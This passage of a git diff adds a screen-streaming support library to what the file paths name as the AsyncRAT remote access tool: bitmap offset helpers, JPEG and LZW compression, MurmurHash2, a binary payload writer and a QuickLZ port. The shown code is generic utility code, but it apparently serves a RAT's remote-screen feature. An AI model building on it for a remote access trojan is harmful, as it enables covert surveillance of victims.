+ case PixelFormat.Format1bppIndexed:
+ return (y * bitmapData.Stride) + (x * 8);
+ }
+ return 0;
+ }
+
+ public static int CalcImageOffset(int x, int y, PixelFormat format, int width)
+ {
+ switch (format)
+ {
+ case PixelFormat.Format32bppArgb:
+ return (y * (width * 4)) + (x * 4);
+ case PixelFormat.Format24bppRgb:
+ case PixelFormat.Format32bppRgb:
+ return (y * (width * 3)) + (x * 3);
+ case PixelFormat.Format8bppIndexed:
+ return (y * width) + x;
+ case PixelFormat.Format4bppIndexed:
+ return (y * (width / 2)) + (x / 2);
+ case PixelFormat.Format1bppIndexed:
+ return (y * (width * 8)) + (x * 8);
+ default:
+ throw new NotSupportedException(format + " is not supported.");
+ }
+ }
+
+ public void ScanPixelDuplicates(Point BeginPoint, ref Point EndPoint, ref Color RetColor)
+ {
+ Color curColor = GetPixel(BeginPoint.X, BeginPoint.Y);
+ for (int x = BeginPoint.X; x < this.Width; x++)
+ {
+ Color prevColor = GetPixel(x, BeginPoint.Y);
+
+ if (curColor.R != prevColor.R ||
+ curColor.G != prevColor.G ||
+ curColor.B != prevColor.B)
+ {
+ EndPoint = new Point(x, BeginPoint.Y);
+ RetColor = curColor;
+ return;
+ }
+ }
+
+ EndPoint = new Point(this.Width, BeginPoint.Y);
+ RetColor = curColor;
+ }
+
+ public void Unlock()
+ {
+ if (IsLocked)
+ {
+ bitmap.UnlockBits(bitmapData);
+ IsLocked = false;
+ }
+ }
+ public void Lock()
+ {
+ if (!IsLocked)
+ {
+ bitmapData = bitmap.LockBits(new Rectangle(0, 0, Width, Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, format);
+ IsLocked = true;
+ }
+ }
+
+ public byte[] ToByteArray()
+ {
+ int bytes = Math.Abs(bitmapData.Stride) * Height;
+ byte[] rgbValues = new byte[bytes];
+ System.Runtime.InteropServices.Marshal.Copy(new IntPtr(bitmapData.Scan0.ToInt32()), rgbValues, 0, bytes);
+ return rgbValues;
+ }
+
+ public void ByteArrayToBitmap(byte[] data)
+ {
+ System.Runtime.InteropServices.Marshal.Copy(data, 0, bitmapData.Scan0, data.Length);
+ }
+
+ public void Dispose()
+ {
+ if (bitmap != null)
+ {
+ try { bitmap.UnlockBits(bitmapData); }
+ catch { }
+ try { bitmap.Dispose(); }
+ catch { }
+ try
+ {
+ bitmap = null;
+ bitmapData = null;
+ }
+ catch { }
+ }
+ }
+
+ /// Get the byte points where to read from in a byte array
+ /// The beginning of the X, Y
+ /// The end of the X, Y
+ /// The size of the image
+ /// Slice the byte points into pieces to get the byte points faster
+ public static ArrayOffset[] GetBytePoints(Point beginPoint, Point endPoint, Size ImgSize, PixelFormat format)
+ {
+ List offsets = new List();
+
+ for (int y = beginPoint.Y; y < endPoint.Y; y++)
+ {
+ int BeginOffset = (int)FastBitmap.CalcImageOffset(beginPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (beginPoint.X * 4);
+ int EndOffset = (int)FastBitmap.CalcImageOffset(endPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (endPoint.X * 4);
+
+ switch (format)
+ {
+ case PixelFormat.Format32bppArgb:
+ {
+ if (EndOffset + ((endPoint.X - beginPoint.X) * 4) >= (ImgSize.Width * ImgSize.Height) * 4)
+ break;
+ offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 4), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
+ break;
+ }
+ case PixelFormat.Format24bppRgb:
+ case PixelFormat.Format32bppRgb:
+ {
+ if (EndOffset + ((endPoint.X - beginPoint.X) * 3) >= (ImgSize.Width * ImgSize.Height) * 3)
+ break;
+ offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 3), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
+ break;
+ }
+ case PixelFormat.Format8bppIndexed:
+ {
+ if (EndOffset + ((endPoint.X - beginPoint.X)) >= (ImgSize.Width * ImgSize.Height))
+ break;
+ offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X)), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
+ break;
+ }
+ case PixelFormat.Format4bppIndexed:
+ {
+ if (EndOffset + ((endPoint.X - beginPoint.X) / 2) >= (ImgSize.Width * ImgSize.Height) / 2)
+ break;
+ offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) / 2), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
+ break;
+ }
+ case PixelFormat.Format1bppIndexed:
+ {
+ if (EndOffset + ((endPoint.X - beginPoint.X) * 8) >= (ImgSize.Width * ImgSize.Height) * 8)
+ break;
+ offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 8), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
+ break;
+ }
+ default:
+ {
+ throw new NotSupportedException(format + " is not supported.");
+ }
+ }
+
+ }
+ return offsets.ToArray();
+ }
+
+ /// Get the byte points in 2D
+ /// The beginning of the X, Y
+ /// The end of the X, Y
+ /// The size of the image
+ /// Slice the byte points into pieces to get the byte points faster
+ public static ArrayOffset[,][] Get2DBytePoints(Point beginPoint, Point endPoint, Size ImgSize, int SlicePieces, PixelFormat format)
+ {
+ int Width = endPoint.X - beginPoint.X;
+ int Height = endPoint.Y - beginPoint.Y;
+
+ float Wsize = ((float)Width / (float)SlicePieces);
+ float Hsize = ((float)Height / (float)SlicePieces);
+
+ //+1 just to make sure we are not going outside the array
+ if (Wsize - (int)Wsize > 0.0F) Wsize += 1.0F;
+ if (Hsize - (int)Hsize > 0.0F) Hsize += 1.0F;
+
+ ArrayOffset[,][] ImageArrayOffsets = new ArrayOffset[(int)Hsize, (int)Wsize][];
+ Point tmp = new Point(0, 0);
+ for (int y = beginPoint.Y; y < Height; y += SlicePieces)
+ {
+ for (int x = beginPoint.X; x < Width; x += SlicePieces)
+ {
+ ImageArrayOffsets[tmp.Y, tmp.X] = FastBitmap.GetBytePoints(new Point(x, y), new Point(x + SlicePieces, y + SlicePieces), ImgSize, format);
+ tmp.X++;
+ }
+ tmp.X = 0;
+ tmp.Y++;
+ }
+ return ImageArrayOffsets;
+ }
+ }
+
+ public class ArrayOffset
+ {
+ public int BeginOffset { get; private set; }
+ public int EndOffset { get; private set; }
+ public int Stride { get; private set; }
+ public int X { get; private set; }
+ public int Y { get; private set; }
+ public int Width { get; private set; }
+ public int Height { get; private set; }
+
+ public ArrayOffset(int begin, int end, int Stride, int x, int y, int width, int height)
+ {
+ this.BeginOffset = begin;
+ this.EndOffset = end;
+ this.Stride = Stride;
+ this.X = x;
+ this.Y = y;
+ this.Width = width;
+ this.Height = height;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/JpgCompression.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/JpgCompression.cs
new file mode 100644
index 0000000..a5f842d
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/JpgCompression.cs
@@ -0,0 +1,52 @@
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ public class JpgCompression
+ {
+ private EncoderParameter parameter;
+ private ImageCodecInfo encoderInfo;
+ private EncoderParameters encoderParams;
+
+ public JpgCompression(int Quality)
+ {
+ this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
+ this.encoderInfo = GetEncoderInfo("image/jpeg");
+ this.encoderParams = new EncoderParameters(2);
+ this.encoderParams.Param[0] = parameter;
+ this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)2);
+ }
+
+ public byte[] Compress(Bitmap bmp)
+ {
+ using (MemoryStream stream = new MemoryStream())
+ {
+ bmp.Save(stream, encoderInfo, encoderParams);
+ return stream.ToArray();
+ }
+ }
+ public void Compress(Bitmap bmp, ref Stream TargetStream)
+ {
+ bmp.Save(TargetStream, encoderInfo, encoderParams);
+ }
+
+ private ImageCodecInfo GetEncoderInfo(string mimeType)
+ {
+ ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
+ int num2 = imageEncoders.Length - 1;
+ for (int i = 0; i <= num2; i++)
+ {
+ if (imageEncoders[i].MimeType == mimeType)
+ {
+ return imageEncoders[i];
+ }
+ }
+ return null;
+ }
+ }
+}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/LzwCompression.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/LzwCompression.cs
new file mode 100644
index 0000000..d9cfeef
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/LzwCompression.cs
@@ -0,0 +1,55 @@
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ public class LzwCompression
+ {
+ private EncoderParameter parameter;
+ private ImageCodecInfo encoderInfo;
+ private EncoderParameters encoderParams;
+
+ public LzwCompression(int Quality)
+ {
+ this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
+ this.encoderInfo = GetEncoderInfo("image/jpeg");
+ this.encoderParams = new EncoderParameters(2);
+ this.encoderParams.Param[0] = parameter;
+ this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionLZW);
+ }
+
+ public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null)
+ {
+ using (MemoryStream stream = new MemoryStream())
+ {
+ if (AdditionInfo != null)
+ stream.Write(AdditionInfo, 0, AdditionInfo.Length);
+ bmp.Save(stream, encoderInfo, encoderParams);
+ return stream.ToArray();
+ }
+ }
+ public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null)
+ {
+ if (AdditionInfo != null)
+ stream.Write(AdditionInfo, 0, AdditionInfo.Length);
+ bmp.Save(stream, encoderInfo, encoderParams);
+ }
+
+ private ImageCodecInfo GetEncoderInfo(string mimeType)
+ {
+ ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
+ for (int i = 0; i < imageEncoders.Length; i++)
+ {
+ if (imageEncoders[i].MimeType == mimeType)
+ {
+ return imageEncoders[i];
+ }
+ }
+ return null;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/MurmurHash2Unsafe.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/MurmurHash2Unsafe.cs
new file mode 100644
index 0000000..ba82bff
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/MurmurHash2Unsafe.cs
@@ -0,0 +1,62 @@
+using System;
+using System.Collections.Generic;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ public unsafe class MurmurHash2Unsafe
+ {
+ const UInt32 m = 0x5bd1e995;
+ const Int32 r = 24;
+
+ public unsafe UInt32 Hash(Byte* data, int length)
+ {
+ if (length == 0)
+ return 0;
+ UInt32 h = 0xc58f1a7b ^ (UInt32)length;
+ Int32 remainingBytes = length & 3; // mod 4
+ Int32 numberOfLoops = length >> 2; // div 4
+ UInt32* realData = (UInt32*)data;
+ while (numberOfLoops != 0)
+ {
+ UInt32 k = *realData;
+ k *= m;
+ k ^= k >> r;
+ k *= m;
+
+ h *= m;
+ h ^= k;
+ numberOfLoops--;
+ realData++;
+ }
+ switch (remainingBytes)
+ {
+ case 3:
+ h ^= (UInt16)(*realData);
+ h ^= ((UInt32)(*(((Byte*)(realData)) + 2))) << 16;
+ h *= m;
+ break;
+ case 2:
+ h ^= (UInt16)(*realData);
+ h *= m;
+ break;
+ case 1:
+ h ^= *((Byte*)realData);
+ h *= m;
+ break;
+ default:
+ break;
+ }
+
+ // Do a few final mixes of the hash to ensure the last few
+ // bytes are well-incorporated.
+
+ h ^= h >> 13;
+ h *= m;
+ h ^= h >> 15;
+
+ return h;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/NativeMethods.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/NativeMethods.cs
new file mode 100644
index 0000000..38df525
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/NativeMethods.cs
@@ -0,0 +1,22 @@
+using System;
+using System.Collections.Generic;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ public class NativeMethods
+ {
+ [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
+ public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
+
+ [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
+ public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
+
+ [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
+ public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
+
+ [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
+ public static extern unsafe int memcpy(void* dst, void* src, uint count);
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs
new file mode 100644
index 0000000..a76fb23
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs
@@ -0,0 +1,113 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ public class PayloadWriter : IDisposable
+ {
+ public Stream vStream { get; set; }
+ public PayloadWriter()
+ {
+ vStream = new MemoryStream();
+ }
+ public PayloadWriter(Stream stream)
+ {
+ vStream = stream;
+ }
+
+ public void WriteBytes(byte[] value)
+ {
+ vStream.Write(value, 0, value.Length);
+ }
+
+ public void WriteBytes(byte[] value, int Offset, int Length)
+ {
+ vStream.Write(value, Offset, Length);
+ }
+
+ public void WriteInteger(int value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+
+ ///
+ /// A integer with 3 bytes not 4
+ ///
+ public void WriteThreeByteInteger(int value)
+ {
+ WriteByte((byte)value);
+ WriteByte((byte)(value >> 8));
+ WriteByte((byte)(value >> 16));
+ }
+
+ public void WriteUInteger(uint value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+
+ public void WriteShort(short value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+ public void WriteUShort(ushort value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+ public void WriteULong(ulong value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+
+ public void WriteByte(byte value)
+ {
+ vStream.WriteByte(value);
+ }
+
+ public void WriteBool(bool value)
+ {
+ WriteByte(value ? (byte)1 : (byte)0);
+ }
+
+ public void WriteDouble(double value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+ public void WriteLong(long value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+ public void WriteFloat(float value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+ public void WriteDecimal(decimal value)
+ {
+ BinaryWriter writer = new BinaryWriter(vStream);
+ writer.Write(value);
+ }
+
+ public void WriteString(string value)
+ {
+ if (!(value == null))
+ WriteBytes(System.Text.Encoding.Unicode.GetBytes(value));
+ else
+ throw new NullReferenceException("value");
+ vStream.WriteByte(0);
+ vStream.WriteByte(0);
+ }
+
+ public int Length
+ {
+ get { return (int)vStream.Length; }
+ }
+
+ public void Dispose()
+ {
+ vStream.Close();
+ vStream.Dispose();
+ vStream = null;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PointerHelper.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PointerHelper.cs
new file mode 100644
index 0000000..71ba44f
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PointerHelper.cs
@@ -0,0 +1,58 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ ///
+ /// A helper class for pointers
+ ///
+ public class PointerHelper
+ {
+ private int _offset;
+
+ public IntPtr Pointer
+ {
+ get;
+ private set;
+ }
+
+ public int TotalLength { get; private set; }
+
+ public int Offset
+ {
+ get { return _offset; }
+ set
+ {
+ if (value < 0)
+ throw new Exception("Offset must be >= 1");
+
+ if (value >= TotalLength)
+ throw new Exception("Offset cannot go outside of the reserved buffer space");
+
+ _offset = value;
+ }
+ }
+
+ public PointerHelper(IntPtr pointer, int Length)
+ {
+ this.TotalLength = Length;
+ this.Pointer = pointer;
+ }
+
+ ///
+ /// Copies data from Source to the current Pointer Offset
+ ///
+ public void Copy(IntPtr Source, int SourceOffset, int SourceLength)
+ {
+ if (CheckBoundries(this.Offset, SourceLength))
+ throw new AccessViolationException("Cannot write outside of the buffer space");
+ NativeMethods.memcpy(new IntPtr(this.Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), (uint)SourceLength);
+ }
+
+ private bool CheckBoundries(int offset, int length)
+ {
+ return offset + length > TotalLength;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs
new file mode 100644
index 0000000..bde4b98
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs
@@ -0,0 +1,487 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ // QuickLZ data compression library
+ // Copyright (C) 2006-2011 Lasse Mikkel Reinhold
+ // lar@quicklz.com
+ //
+ // QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything
+ // released into public must be open source) or under a commercial license if such
+ // has been acquired (see http://www.quicklz.com/order.html). The commercial license
+ // does not cover derived or ported versions created by third parties under GPL.
+ //
+ // Only a subset of the C library has been ported, namely level 1 and 3 not in
+ // streaming mode.
+ //
+ // Version: 1.5.0 final
+
+ public class SafeQuickLZ
+ {
+ public const int QLZ_VERSION_MAJOR = 1;
+ public const int QLZ_VERSION_MINOR = 5;
+ public const int QLZ_VERSION_REVISION = 0;
+
+ // Streaming mode not supported
+ public const int QLZ_STREAMING_BUFFER = 0;
+
+ // Bounds checking not supported Use try...catch instead
+ public const int QLZ_MEMORY_SAFE = 0;
+
+ // Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values!
+ private const int HASH_VALUES = 4096;
+ private const int MINOFFSET = 2;
+ private const int UNCONDITIONAL_MATCHLEN = 6;
+ private const int UNCOMPRESSED_END = 4;
+ private const int CWORD_LEN = 4;
+ private const int DEFAULT_HEADERLEN = 9;
+ private const int QLZ_POINTERS_1 = 1;
+ private const int QLZ_POINTERS_3 = 16;
+
+ private int headerLen(byte[] source, int offset)
+ {
+ return ((source[offset] & 2) == 2) ? 9 : 3;
+ }
+
+ public int sizeDecompressed(byte[] source, int offset)
+ {
+ if (headerLen(source, offset) == 9)
+ return source[offset + 5] | (source[offset + 6] << 8) | (source[offset + 7] << 16) | (source[offset + 8] << 24);
+ else
+ return source[offset + 2];
+ }
+
+ public int sizeCompressed(byte[] source, int offset)
+ {
+ if (headerLen(source, offset) == 9)
+ return source[offset + 1] | (source[offset + 2] << 8) | (source[offset + 3] << 16) | (source[offset + 4] << 24);
+ else
+ return source[offset + 1];
+ }
+
+ private void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed)
+ {
+ dst[0] = (byte)(2 | (compressible ? 1 : 0));
+ dst[0] |= (byte)(level << 2);
+ dst[0] |= (1 << 6);
+ dst[0] |= (0 << 4);
+ fast_write(dst, 1, size_decompressed, 4);
+ fast_write(dst, 5, size_compressed, 4);
+ }
+
+ public byte[] compress(byte[] source, int Offset, int Length, int level)
+ {
+ int src = Offset;
+ int dst = DEFAULT_HEADERLEN + CWORD_LEN;
+ uint cword_val = 0x80000000;
+ int cword_ptr = DEFAULT_HEADERLEN;
+ byte[] destination = new byte[Length + 400];
+ int[,] hashtable;
+ int[] cachetable = new int[HASH_VALUES];
+ byte[] hash_counter = new byte[HASH_VALUES];
+ byte[] d2;
+ int fetch = 0;
+ int last_matchstart = (Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1);
+ int lits = 0;
+
+ if (level != 1 && level != 3)
+ throw new ArgumentException("C# version only supports level 1 and 3");
+
+ if (level == 1)
+ hashtable = new int[HASH_VALUES, QLZ_POINTERS_1];
+ else
+ hashtable = new int[HASH_VALUES, QLZ_POINTERS_3];
+
+ if (Length == 0)
+ return new byte[0];
+
+ if (src <= last_matchstart)
+ fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
+
+ while (src <= last_matchstart)
+ {
+ if ((cword_val & 1) == 1)
+ {
+ if (src > Length >> 1 && dst > src - (src >> 5))
+ {
+ d2 = new byte[Length + DEFAULT_HEADERLEN];
+ write_header(d2, level, false, Length, Length + DEFAULT_HEADERLEN);
+ System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, Length);
+ return d2;
+ }
+
+ fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
+ cword_ptr = dst;
+ dst += CWORD_LEN;
+ cword_val = 0x80000000;
+ }
+
+ if (level == 1)
+ {
+ int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
+ int o = hashtable[hash, 0];
+ int cache = cachetable[hash] ^ fetch;
+ cachetable[hash] = fetch;
+ hashtable[hash, 0] = src;
+
+ if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] &&
+ source[src] == source[src - 2] && source[src] == source[src - 1] &&
+ source[src] == source[src + 1] && source[src] == source[src + 2])))
+ {
+ cword_val = ((cword_val >> 1) | 0x80000000);
+ if (source[o + 3] != source[src + 3])
+ {
+ int f = 3 - 2 | (hash << 4);
+ destination[dst + 0] = (byte)(f >> 0 * 8);
+ destination[dst + 1] = (byte)(f >> 1 * 8);
+ src += 3;
+ dst += 2;
+ }
+ else
+ {
+ int old_src = src;
+ int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
+
+ src += 4;
+ if (source[o + src - old_src] == source[src])
+ {
+ src++;
+ if (source[o + src - old_src] == source[src])
+ {
+ src++;
+ while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining)
+ src++;
+ }
+ }
+
+ int matchlen = src - old_src;
+
+ hash <<= 4;
+ if (matchlen < 18)
+ {
+ int f = (hash | (matchlen - 2));
+ destination[dst + 0] = (byte)(f >> 0 * 8);
+ destination[dst + 1] = (byte)(f >> 1 * 8);
+ dst += 2;
+ }
+ else
+ {
+ fast_write(destination, dst, hash | (matchlen << 16), 3);
+ dst += 3;
+ }
+ }
+ fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
+ lits = 0;
+ }
+ else
+ {
+ lits++;
+ hash_counter[hash] = 1;
+ destination[dst] = source[src];
+ cword_val = (cword_val >> 1);
+ src++;
+ dst++;
+ fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16);
+ }
+
+ }
+ else
+ {
+ fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
+
+ int o, offset2;
+ int matchlen, k, m, best_k = 0;
+ byte c;
+ int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
+ int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
+
+ c = hash_counter[hash];
+ matchlen = 0;
+ offset2 = 0;
+ for (k = 0; k < QLZ_POINTERS_3 && c > k; k++)
+ {
+ o = hashtable[hash, k];
+ if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET)
+ {
+ m = 3;
+ while (source[o + m] == source[src + m] && m < remaining)
+ m++;
+ if ((m > matchlen) || (m == matchlen && o > offset2))
+ {
+ offset2 = o;
+ matchlen = m;
+ best_k = k;
+ }
+ }
+ }
+ o = offset2;
+ hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src;
+ c++;
+ hash_counter[hash] = c;
+
+ if (matchlen >= 3 && src - o < 131071)
+ {
+ int offset = src - o;
+
+ for (int u = 1; u < matchlen; u++)
+ {
+ fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16);
+ hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
+ c = hash_counter[hash]++;
+ hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u;
+ }
+
+ src += matchlen;
+ cword_val = ((cword_val >> 1) | 0x80000000);
+
+ if (matchlen == 3 && offset <= 63)
+ {
+ fast_write(destination, dst, offset << 2, 1);
+ dst++;
+ }
+ else if (matchlen == 3 && offset <= 16383)
+ {
+ fast_write(destination, dst, (offset << 2) | 1, 2);
+ dst += 2;
+ }
+ else if (matchlen <= 18 && offset <= 1023)
+ {
+ fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2);
+ dst += 2;
+ }
+ else if (matchlen <= 33)
+ {
+ fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3);
+ dst += 3;
+ }
+ else
+ {
+ fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4);
+ dst += 4;
+ }
+ lits = 0;
+ }
+ else
+ {
+ destination[dst] = source[src];
+ cword_val = (cword_val >> 1);
+ src++;
+ dst++;
+ }
+ }
+ }
+ while (src <= Length - 1)
+ {
+ if ((cword_val & 1) == 1)
+ {
+ fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
+ cword_ptr = dst;
+ dst += CWORD_LEN;
+ cword_val = 0x80000000;
+ }
+
+ destination[dst] = source[src];
+ src++;
+ dst++;
+ cword_val = (cword_val >> 1);
+ }
+ while ((cword_val & 1) != 1)
+ {
+ cword_val = (cword_val >> 1);
+ }
+
+ fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN);
+ write_header(destination, level, true, Length, dst);
+ d2 = new byte[dst];
+ System.Array.Copy(destination, d2, dst);
+ return d2;
+ }
+
+
+ private void fast_write(byte[] a, int i, int value, int numbytes)
+ {
+ for (int j = 0; j < numbytes; j++)
+ a[i + j] = (byte)(value >> (j * 8));
+ }
+
+ public byte[] decompress(byte[] source, int Offset, int Length)
+ {
+ int level;
+ int size = sizeDecompressed(source, Offset);
+ int src = headerLen(source, Offset) + Offset;
+ int dst = 0;
+ uint cword_val = 1;
+ byte[] destination = new byte[size];
+ int[] hashtable = new int[4096];
+ byte[] hash_counter = new byte[4096];
+ int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1;
+ int last_hashed = -1;
+ int hash;
+ uint fetch = 0;
+
+ level = (source[Offset] >> 2) & 0x3;
+
+ if (level != 1 && level != 3)
+ throw new ArgumentException("C# version only supports level 1 and 3");
+
+ if ((source[Offset] & 1) != 1)
+ {
+ byte[] d2 = new byte[size];
+ System.Array.Copy(source, headerLen(source, Offset), d2, Offset, size);
+ return d2;
+ }
+
+ for (; ; )
+ {
+ if (cword_val == 1)
+ {
+ cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
+ src += 4;
+ if (dst <= last_matchstart)
+ {
+ if (level == 1)
+ fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
+ else
+ fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
+ }
+ }
+
+ if ((cword_val & 1) == 1)
+ {
+ uint matchlen;
+ uint offset2;
+
+ cword_val = cword_val >> 1;
+
+ if (level == 1)
+ {
+ hash = ((int)fetch >> 4) & 0xfff;
+ offset2 = (uint)hashtable[hash];
+
+ if ((fetch & 0xf) != 0)
+ {
+ matchlen = (fetch & 0xf) + 2;
+ src += 2;
+ }
+ else
+ {
+ matchlen = source[src + 2];
+ src += 3;
+ }
+ }
+ else
+ {
+ uint offset;
+ if ((fetch & 3) == 0)
+ {
+ offset = (fetch & 0xff) >> 2;
+ matchlen = 3;
+ src++;
+ }
+ else if ((fetch & 2) == 0)
+ {
+ offset = (fetch & 0xffff) >> 2;
+ matchlen = 3;
+ src += 2;
+ }
+ else if ((fetch & 1) == 0)
+ {
+ offset = (fetch & 0xffff) >> 6;
+ matchlen = ((fetch >> 2) & 15) + 3;
+ src += 2;
+ }
+ else if ((fetch & 127) != 3)
+ {
+ offset = (fetch >> 7) & 0x1ffff;
+ matchlen = ((fetch >> 2) & 0x1f) + 2;
+ src += 3;
+ }
+ else
+ {
+ offset = (fetch >> 15);
+ matchlen = ((fetch >> 7) & 255) + 3;
+ src += 4;
+ }
+ offset2 = (uint)(dst - offset);
+ }
+
+ destination[dst + 0] = destination[offset2 + 0];
+ destination[dst + 1] = destination[offset2 + 1];
+ destination[dst + 2] = destination[offset2 + 2];
+
+ for (int i = 3; i < matchlen; i += 1)
+ {
+ destination[dst + i] = destination[offset2 + i];
+ }
+
